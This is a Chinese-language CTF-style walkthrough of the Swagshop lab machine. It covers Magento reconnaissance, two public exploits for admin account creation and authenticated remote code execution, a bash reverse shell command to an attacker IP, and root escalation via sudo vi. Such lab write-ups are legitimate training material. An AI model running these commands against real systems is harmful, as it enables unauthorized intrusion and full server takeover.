本文作者:是大方子(Ms08067实验室核心成员)
总结与反思
使用
magento漏洞的利用
magescan 工具的使用
靶机介绍
靶机IP:10.10.10.140
kali:10.10.12.69
先用nmap来对靶机进行探测
nmap ‐sC ‐sV ‐T 5 ‐oA Swagshop.nmap 10.10.10.140
扫描结果
开放了22 和 80端口,直接打开访问下网页
Magento是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。
设计得非常灵活,具有模块化架构体系和丰富的功能。易于与第三方应用系统无缝集成。在设计
上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富
接下来就是网页上进行信息收集。
首先是下面的版权,2014年可以为找漏洞的线索
我们随便点开网页有一个比较奇怪的地方,感觉像是URL重写,前面都会多一个index.php
通过gubuster,跑出来的目录也没有什么用
这样收集的信息也不是很够,我们还需要另外的工具进行辅助
magescan 专门针对magento的扫描器
下载地址:https://github.com/steverobbins/magescan/releases
从扫描结果我们可以看到magento的版本大概为1.9.0.0, 1.9.0.1。
敏感路径:
/app/etc/local.xml(有线索) /index.php/rss/order/NEW/new(无用) /shopadmin/
接下来用searchsploit来找下magento现在已经的漏洞
通过 -x 参数可以看到这些EXP的内容
主要是用到这两个:
第一个,用来进行远程代码执行(但是需要通过身份验证) 。
第二个,可以用来创建管理员账号密码(给第一个EXP的利用创造条件)。
先试用第二个EXP,创建管理员账号密码 通过-m 参数可以吧EXP复制到当前路径
然后对EXP进行修改,这里修改3个地方。
在之前我们也看到,网页前面都会增加index.php,所以这里我们也要加,否则。。。。你自己可以试试看会是包
这里修改我们增加管理的账号密码
修改下输出信息,方便成功后能直观看到我们的账号密码
然后执行下
我们尝试登录下
成功登录
接下来就是利用另一个EXP,来进行远程代码执行
重新编辑下EXP
我们可以看到我们需要配置的地方
username:dfz password:dfz php_function:我们不需要修改 install_data:在上面我们发现的/app/etc/local.xml可以查询到
配置好的信息如下:
开始执行
可以看到mechanize报了一个找不到元素的错,mechanize是python里面模拟浏览器操作的模块。结合它需要管理员账号密码,这里应该填的是管理员页面地址。
可以看到命令执行成功
那么我们就用它反弹shell
无法正常反弹!
这里猜测,可能是因为这串代码传到服务器的时候 可能因为空格或者是其他的异常的符导致服务器执行失败。之前我们看到whoami命令是可以正常执行的。那么我们就把代码换成这样
python 37811.py http://10.10.10.140/index.php/admin "bash ‐c 'bash ‐i >&/dev/tcp/10.10.12.69/4444 0>&1' "
这样当服务器解析到bash -c 时 可以把后面单引号内的内容执行,防止意外干扰
成功!!!我们看下自己的sudo权限
可以看到我们使用vi和使用目录/var/www/html是不需要密码就能获得root权限的。
第一反应就是使用vi来进行提权,先使用python的pty
python ‐c "import pty;pty.spawn('/bin/bash')"
发现没有python,但是我们可以用python3
python3 ‐c "import pty;pty.spawn('/bin/bash')"
然后在处理方向键等乱码问题。
先ctrl+z 把进程挂到后台,然后输入stty raw -echo,在输入fg(不会显示出来),多按几次回车即可
然后需要使用vi进行提权,需要注意的是:
要增加sudo
vi要输入文件的绝对路径
sudo vi /var/www/html/sdfzy
:!/bin/bash
即可拿到root权限!
本文作者:Ms08067安全实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/120258.html